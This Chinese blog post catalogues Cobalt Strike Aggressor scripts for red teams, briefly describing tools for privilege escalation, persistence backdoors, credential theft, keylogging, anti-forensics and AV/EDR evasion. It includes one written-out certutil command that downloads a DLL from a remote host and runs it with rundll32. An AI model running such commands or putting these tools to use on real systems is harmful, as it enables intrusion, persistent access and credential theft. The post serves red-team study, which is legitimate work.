Cobalt Strike 之: Aggressor Script

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

Cobalt Strike Aggressor Script

目录

Aggressor Script是Cobalt Strike 3.0版本以上的一个内置脚本语言,由Sleep语言解析,Cobalt Strike 3.0以上版本的菜单、选项、事件都由default.cna构建。红队人员可以通过它来调用一些IRC、Webhook接口去对接机器人,实现自动化渗透与监控,Aggressor Script是Cobalt Strike这款C2平台的画龙点睛之笔

1 ProcessTree.cna 与 ProcessColor.cna

  1. 下载地址:ars3n11/Aggressor-Scripts: Cobalt Strike aggressor scripts (github.com)

  2. 功能:ps命令展示进程树并上色,作者实际上是修改自 harleyQu1nn 的 ProcessColor.cna,现在两者功能已经完全一致了。

    image-20220115214728115

2 elevate.cna

  1. 下载地址:rsmudge/ElevateKit: The Elevate Kit demonstrates how to use third-party privilege escalation attacks with Cobalt Strike's Beacon payload. (github.com)

  2. 功能:CS作者rsmudge大佬官方出品,增加几种提权方式。

    image-20220115221322026

3 Vincent Yiu 脚本合集

  1. 下载地址:vysecurity/Aggressor-VYSEC (github.com)

3.1 CVE-2018-4878.cna

  1. 下载地址:vysecurity/CVE-2018-4878: Aggressor Script to launch IE driveby for CVE-2018-4878 (github.com)

  2. 功能:VincentYiu写的一键起CVE-2018-4878(Flash漏洞)服务脚本

    image-20220115221849618

3.2 auto-prepenv.cna

  1. 功能:auto-prepenv.cna 机器上线时自动把explorer.exe设置为ppid,测试时不知道是不是权限原因没有生效。

3.3 Blacklist.cna

  1. 功能:Blacklist.cna 可以实现设置一个上线机器的黑名单列表,如果机器再次上线会自动退出会话。适用于遇到溯源或者蜜罐以及一些虚拟分析环境。

3.4 mimikatz_addons.cna

  1. 功能:mimikatz_addons.cna 则是新注册了一个password_change命令,可以实现直接使用mimikatz的密码更改功能强制修改NTLM哈希。

3.5 ping.cna

  1. 功能:ping.cna 注册一个ping命令,并转换IP地址为HEX的形式去执行该命令。

    image-20220117103703753

3.6 portfwd.cna

  1. 功能:portfwd.cna 会注册一个portfwd命令,可以实现端口转发。

3.7 vnc-psh.cna

  1. 功能:
  2. vnc-psh.cna 是一个把Invoke-Vnc.ps1 注入到内存当中开启VNC服务的脚本,默认端口为5900,密码为SuperMan123。

4 harleyQu1nn 脚本合集

4.1 AVQuery.cna

  1. 功能:AVQuery.cna 检查杀毒是通过检查注册表键值来判断,同样的可以自行添加自己需要的条目。

    AV_Query
    

    image-20220115222516289

4.2 ArtifactPayloadGenerator.cna

  1. 功能:ArtifactPayloadGenerator.cna 生成多种类型的后门文件,生成的结果位于cs目录下的 opt\cobaltstrike 目录下。

    image-20220115223543134

    image-20220115224705490

4.3 CertUtilWebDelivery.cna

  1. 功能:类似使用CertUtil下载文件

  2. 命令执行:

    powerpick certutil.exe -urlcache -split -f http://192.168.0.2:280/dll.txt Adobedll.dll; rundll32.exe Adobedll.dll,StartW
    
    powerpick:不使用 powershell.exe 执行 powershell 命令。这个命令依赖于由 Lee Christensen 开发的非托管 PowerShell 技术。powershell 和 powerpick 命令会使用当前令牌( token )。
    

    image-20220115232659018

    CertUtil下载文件参考:certutil在传输payload中的新奇技巧 - admin-神风 - 博客园 (cnblogs.com)

4.4 EDR.cna

  1. 功能:EDR.cna使用检测驱动的方式来检测是否存在终端安全产品。相对于主流杀毒软件,EDR 终端安全产品主要用来反APT类的持久化攻击,所以较之常规杀毒更为难缠。

    # edr_query [hostname] [arch]
    edr_query localhost x64
    # localhost 表示为本地主机
    

    image-20220115233447511

4.5 logvis.cna

  1. 功能:logvis.cna 实现了beacon command log的可视化。

    image-20220115233706638

4.6 ProcessMonitor.cna

  1. 功能:ProcessMonitor.cna 可以实现指定时间段内对于程序运行情况的监控。

    ProcessMonitor Start 1m
    

    image-20220115235524635

4.7 RedTeamRepo.cna

  1. 功能:RedTeamRepo.cna 当中包含了不少tips,可以使用RedRepo命令查看。

    image-20220115234929960

    image-20220115235005246

4.8 SMBPayloadGenerator.cna

  1. 功能:SMBPayloadGenerator.cna 可以生成基于SMB类型 listener 的 payload,同样是输出到 opt\cobaltstrike 目录下,在目标主机上运行该 Payload 可获得 Beacon 会话。

    image-20220115235908166

    image-20220116000417812

4.9 logger.cna

  1. 功能:Logging目录下的 logger.cna 可以将log导出到HTML,log也位于 opt\cobaltstrike 目录中。

    image-20220116132048563

5 bluscreenofjeff 脚本合集

  1. 下载地址:bluscreenofjeff/AggressorScripts: Aggressor scripts for use with Cobalt Strike 3.0+ (github.com)

5.1 beacon_to_empire.cna

  1. 功能:beacon_to_empire.cna 可以一键把会话弹到empire,不过需要提前在cna脚本当中配置好empire的信息。

    image-20220117085003539

5.2 beaconestablishednote.cna

  1. 功能:beaconestablishednote.cna 用来给新上线的机器备注时间,虽然event log当中有,但是这里备注相对直观。

    image-20220117084925634

5.3 beaconid_note.cna

  1. 功能:beaconid_note.cna会给所有机器备注修改为bid,作者在注释中写到该脚本主要在编写aggressor脚本时使用。

5.4 mimikatz-every-30m.cna

  1. 功能:mimikatz-every-30m.cna 可以实现每30分钟抓一次密码,想修改时间的话可以直接在脚本当中修改。

    image-20220117085548672

5.5 mimikatz-timestamp-note-BETA.cna

  1. 功能:mimikatz-timestamp-note-BETA.cna 用来给mimikatz的运行结果添加一个时间戳,目前为测试版本,可配合mimikatz-every-30m.cna脚本使用的。

5.6 ping_aliases.cna

  1. 功能:ping_aliases.cna 脚本增加了“qping”和“smbscan”两条命令。,

    # qping只ping目标一下
    qping [target]
    
    # smbscan用来扫描SMB的445端口且支持ip段。
    portscan [targets] none
    

    image-20220117090533125

5.7 powershell.cna

  1. 功能:powershell.cna 快速利用 PowerUp.ps1 和 powerview.ps1。使用前需要将 PowerUp.ps1 和 powerview.ps1 文件移动到 powershell.cna 脚本当前目录下

    image-20220117091112886

5.8 ps-window-alias.cna

  1. 功能:ps-window-alias.cna 为命令行中增加pspane命令一键打开processlist。

    image-20220117091933634

5.9 silver-tickets.cna

  1. 功能:silver-tickets.cna 可以一键制作一个白银票据。

    image-20220117092301531

5.10 sleep-down-when-no-operators.cna

  1. 功能:sleep-down-when-no-operators.cna 可以实现当没有黑客在线时自动把sleep的时间调长。

5.11 sleeptimer.cna

  1. 功能:sleeptimer.cna 则可以根据人类作息自动设置sleep间隔,默认时间是晚八点到早六点。

    image-20220117092546553

5.12 beaconpire.cna

  1. 功能:Beaconpire目录下的beaconpire.cna 实现empire相关配置参数的可视化控制,以及与empire实现一定程度的联动。

    image-20220117092844411

5.13 CCDC 目录下脚本

5.13.1 lulz.cna

  1. lulz.cna 是一个整人脚本,功能与国外一些远控的joke很相似,可以实现 使用IE打开网页、弹消息框、关机、召唤clippy、打开boo.exe。

image-20220117093516886

5.13.2 misc.cna

  1. 功能:misc.cna 可以实现单条修改目标机器hosts、替换目标机器hosts文件。

5.13.3 sysinternal-killer.cna

  1. 功能:sysinternal-killer.cna 微软工具包专杀。

5.14 OPSEC Profiles 目录下脚本

  1. 功能:OPSEC Profiles 目录下的脚本会覆盖内置的Cobalt Strike命令,主要目的应该是为了防止误操作,如:cmd-execution.cna

6 ramen0x3f 脚本合集

  1. 下载地址:ramen0x3f/AggressorScripts (github.com)

6.1 bueller.cna

  1. 功能:bueller.cna通过端口扫描来检测哪个 Beacon 可以访问哪些特定的主机

    1. 选择所有的 Beacon 会话
    2. 右键选择 "Bueller? Anyone?"
    3. 输入目标的主机与端口
    4. 在 "Script Console" 查看结果
    

    image-20220117105641305

6.2 cdolla.cna

  1. 功能:cdolla.cna 检测当前上线机器当中哪些目标为本地管理员,并列出哪些用户在90天内登陆过。

    1. 选择一个 Beacon 会话
    2. 右键选择 "cdolla"
    2. beacon 会话下:cdolla [-users]
    3. 扫描一个目标:cdolla 10.10.10.10 [-users]
    

6.3 portscan_results.cna

  1. 功能:portscan_results.cna 会在view下新加一栏"Port Scan Results",用来展示portscan的结果,并且支持排序。

    image-20220117110742825

其他人收集的相关脚本

6.1 michalkoczwara 收集

  1. 下载地址:
    1. michalkoczwara/aggressor_scripts_collection: Collection of various Aggressor Scripts for Cobalt Strike from awesome people. Will be sure to update this repo with credit to each person. (github.com)

6.1.1 service-reboot.cna

  1. 功能:service-reboot.cna 会使用sc创建一个后门服务,重启有效。

    image-20220117101529806

6.1.2 sticky-keys.cna

  1. 功能:sticky-keys.cna 会修改防火墙规则然后把粘滞键在注册表的记录修改为cmd,实现远程连接目标主机调出粘滞键后门。

    image-20220117101627134

6.2 CobaltStrike-ToolKit

6.2.1 DA-Watch.cna

  1. 功能:DA-Watch.cna 可以避免使用 powershell,同样可以实现对DA一定程度的监控,命令有:uaddDA、uremDA、ulistDA、uhookOn、uhookOff、Credential Checks。这个脚本没有将命令注册到beacon命令行里,需要在script console中执行。

6.2.2 Initial-DACheck.cna

  1. 功能:Initial-DACheck.cna 会在机器上线时对域用户组进行枚举,同时也可以使用命令行中新增的checkda命令进行主动检测。

6.2.3 Initial-LAdminCheck.cna

  1. 功能:Initial-LAdminCheck.cna 如果检测到上线机器当前用户为普通管理员会自动 bypassuac 然后 logonPassword 抓密码。命令行中对应的独立命令是checkla。

7 persistence.cna 持久化脚本

7.1 ZonkSec

  1. 下载地址:ZonkSec/persistence-aggressor-script: initial commit (github.com)

  2. 功能:persistence.cna 简单来说就是通过注册表, 写服务, WMI, linkinfo, 粘滞键5种方式通过9种手法实现持久控制,在命令行中新注册了一个persistence命令。

    image-20220117104730002

8 rasta-mouse 的脚本

  1. 下载地址:rasta-mouse/Aggressor-Script: Collection of Aggressor Scripts for Cobalt Strike (github.com)

8.1 loader.cna

  1. 功能:loader.cna 一键导入 elevate.cna 和 persistence.cna 脚本

    image-20220117111305891

8.2 dcom.cna

  1. 功能:lateral 目录下的 dcom.cna 是使用DCOM运行PowerShell在远程主机上生成会话。

    image-20220117111527318

9 RhinoSecurityLabs:BypassUAC

  1. 下载地址:RhinoSecurityLabs/Aggressor-Scripts: Aggregation of Cobalt Strike's aggressor scripts. (github.com)

  2. 功能:增加 Bypass UAC 方式

    image-20220117112537714

10 Und3rf10w 脚本

  1. 下载地址:Und3rf10w/Aggressor-scripts: Aggressor scripts I've made for Cobalt Strike (github.com)

10.1 KitLoader.cna

  1. 功能:KitLoader.cna 可以一键导入Aggressor-scripts-master\kits 中的8个脚本

10.2 AnnoyKit.cna

  1. 功能:AnnoyKit.cna 的功能主要是整蛊型的,包括隐藏IE的进程,播放整蛊歌曲等方式。

10.3 AntiForensicsKit.cna

  1. 功能:AntiForensicsKit.cna 主要功能是反取证,包括检查虚拟机环境、清除日志、对付CarbonBlack等等。

10.4 CredKit.cna

  1. 功能:CredKit.cna 是一个凭证窃取的小集合,包括Firefox、寻找keepass的配置文件、获取keepass数据库的key、运行Invoke-mimikittenz。

10.5 EnumKit.cna

  1. 功能:EnumKit.cna 包含的功能很多,包括获取主机WLAN密码、更新时间、用户权限情况、ip、安装应用等,也有定位carbon black的CB server和联动bloodhound的功能。

10.6 PersistKit.cna

  1. 功能:PersistKit.cna 是持久控制模块,可以创建后门服务,NTFS ADS后门和无文件后门。

10.7 PrivescKit.cna

  1. 功能:PrivescKit.cna 主要是借助power up 把提权模块遍历扫描一遍。

10.8 thirdparty.cna

  1. 功能:thirdparty.cna 在命令行中注册了一条com-exec 命令,可以实现通过DCOM在目标上机器上弹shell。

10.9 auto-keylogger.cna

  1. 功能:auto-keylogger.cna 可以实现在机器上线时自动进行键盘记录。

10.10 inveigh.cna

  1. 功能:inveigh.cna 会在机器上运行指定时间的Inveigh,自动启用LLMNR和NBNS欺骗。

10.11 ebowla-interop.cna

  1. 功能:ebowla-interop.cna 可以借助ebwola创建加密的payload,不过需要自己提前下好ebwola.py 放到目录下。

10.3 PersistKit.cna

  1. PersistKit.cna 是持久控制模块,可以创建后门服务,NTFS ADS后门和无文件后门。

10.4 CredKit.cna

  1. 功能:CredKit.cna 是一个凭证窃取的小集合,包括Firefox、寻找keepass的配置文件、获取keepass数据库的key、运行Invoke-mimikittenz。

11 001SPARTaN 脚本合集

  1. 下载地址:001SPARTaN/aggressor_scripts: A collection of useful scripts for Cobalt Strike (github.com)
  2. 新的ElevateKit 下载地址:001SPARTaN/ElevateKit: The Elevate Kit demonstrates how to use third-party privilege escalation attacks with Cobalt Strike's Beacon payload. (github.com)

12 gaudard 红队脚本合集

scripts/red-team/aggressor at master · gaudard/scripts (github.com)

13 其他脚本集合

  1. branthale/CobaltStrikeCNA: Cobalt Strike Aggressor Scripts (github.com)
  2. hybridious/CVE-2018-4878: Aggressor Script to just launch IE driveby for CVE-2018-4878 (github.com) :修改自VYsec版本的CVE-2018-4878,就是起一个 CVE-2018-4878 的payload。
  3. oldb00t/AggressorScripts: Cobaltstrike Aggressor Scripts (github.com)
  4. p292/Phant0m_cobaltstrike: Aggressor script to integrate Phant0m with Cobalt Strike (github.com): disableeventvwr.cna 加载 Invoke-Phant0m.ps1 禁用事件查看器。
  5. p292/DDEAutoCS: A cobaltstrike script that integrates DDEAuto Attacks (github.com):ddeauto.cna 可以一键起一个psh的payload server,然后生成DDE一键上线语句,Ctrl+F9添加。
  6. skyleronken/Aggressor-Scripts: Cobalt Strike Aggressor Scripts (github.com)
  7. powershell_survey.cna是一个借助 PSH 检测目标机器状况的插件,检测对象包括PSH和.NET。
  8. tevora-threat/PowerView3-Aggressor: Cobalt Strike Aggressor script menu for Powerview/SharpView (github.com)
  9. 红队大神:threatexpress/red-team-scripts: A collection of Red Team focused tools, scripts, and notes (github.com)
  10. FortyNorthSecurity/AggressorAssessor: Aggressor scripts for phases of a pen test or red team assessment (github.com)
  11. mdsecactivebreach/CACTUSTORCH: CACTUSTORCH: Payload Generation for Adversary Simulations (github.com):Vincent Yiu团队的作品。CACTUSTORCH.cna 只是整个项目当中的一部分,该项目可以实现通过 JavaScript 和VBScript进行shellcode注入。开始的时候免杀效果好一些,现在被杀的比较狠了。
  12. C0axx/AggressorScripts (github.com):基于cs 的一个 SharpHound 辅助插件,SharpHound.cna 会在右键菜单当中增加一个 Invoke-Bloodhound 选项,命令执行方式有:PowerPick、PowerShell、Execute-Assembly 三种方式。
  13. scanfsec/CVE-2018-15982: Aggressor Script to launch IE driveby for CVE-2018-15982. (github.com)
  14. offsecginger/AggressorScripts: Various Aggressor Scripts I've Created. (github.com):生成自定义payload
  15. tomsteele/cs-magik: WIP event and job queue using redis for Cobalt Strike (github.com):借助 redis 来实现事件通道和作业队列,没有搭建测试,可以自己参照说明尝试。
  16. bitsadmin/nopowershell: PowerShell rebuilt in C# for Red Teaming purposes (github.com):nopowershell是一个基于C#用来替代PowerShell的项目, NoPowerShell.cna 只是一个用来注册命令的壳,该条命令是"nps"。然后整个项目依托于NoPowerShell.exe,所以需要提前在项目的releases下载或者自己编译NoPowerShell.exe 然后放到cs的/script 目录下。
  17. fox-it/Invoke-CredentialPhisher (github.com):作者通过PSH实现了Windows几种场景下的钓鱼弹窗,诱导目标输出账号密码之后会带回teamserver,
  18. SpiderLabs/SharpCompile: (github.com):SharpCompile项目可以实现在靶机上实时编译和执行C#
posted @ 2022-01-25 22:07  f_carey  阅读(660)  评论(0编辑  收藏  举报